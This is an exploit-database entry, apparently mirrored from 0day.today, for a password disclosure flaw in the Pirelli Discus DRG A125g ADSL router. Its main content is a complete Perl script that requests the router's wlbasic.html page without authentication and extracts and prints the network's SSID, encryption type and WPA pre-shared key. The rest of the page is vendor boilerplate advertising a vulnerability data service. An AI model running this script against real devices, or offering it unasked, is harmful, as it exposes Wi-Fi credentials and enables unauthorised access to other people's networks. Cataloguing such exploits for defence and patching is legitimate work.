Lucene search
K

Pirelli Discus DRG A125g - Local Password Disclosure Vulnerability

🗓️ 24 Nov 2013 00:00:00Reported by Sebastián MagofType 
zdt
 zdt
🔗 0day.today👁 15 Views

Pirelli Discus DRG A125g Local Password Disclosure Vulnerabilit

Code
#Vulnerable file: wlbasic.html

#usage:perl exploit.pl
 
use LWP::UserAgent;
 
use HTTP::Request;
 
#begin
 
print "\n\n************************************************************\n";
 
print "*  Pirelli Discus ADSL DRG A125g Wifi password disclosure  *\n";
 
print "************************************************************\n\n";
 
 
 
#wifi pwd disclosure file
 
my $url = "http://10.0.0.2/wlbasic.html";
 
 
 
#UserAgent
 
my $ua = LWP::UserAgent->new();
 
$ua->agent("Mozilla/5.0");
 
 
 
#Request.
 
my $req = HTTP::Request->new(GET => $url);
 
my $request = $ua->request($req);
 
my $content = $request->content(); #content
 
my ($ssi) = $content =~ m/ssid = '(.+)'/;
 
my ($pwd) = $content =~ m/wpaPskKey = '(.+)'/;
 
my ($enc) = $content =~ m/var wpa = '(.+)'/;
 
#ssid+encryption method+pwd;
 
print "Ssid: $ssi\n";
 
print "Encryption method: $enc\n";
 
print "Password: $pwd\n\n";
 
exit(0);

#  0day.today [2018-02-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation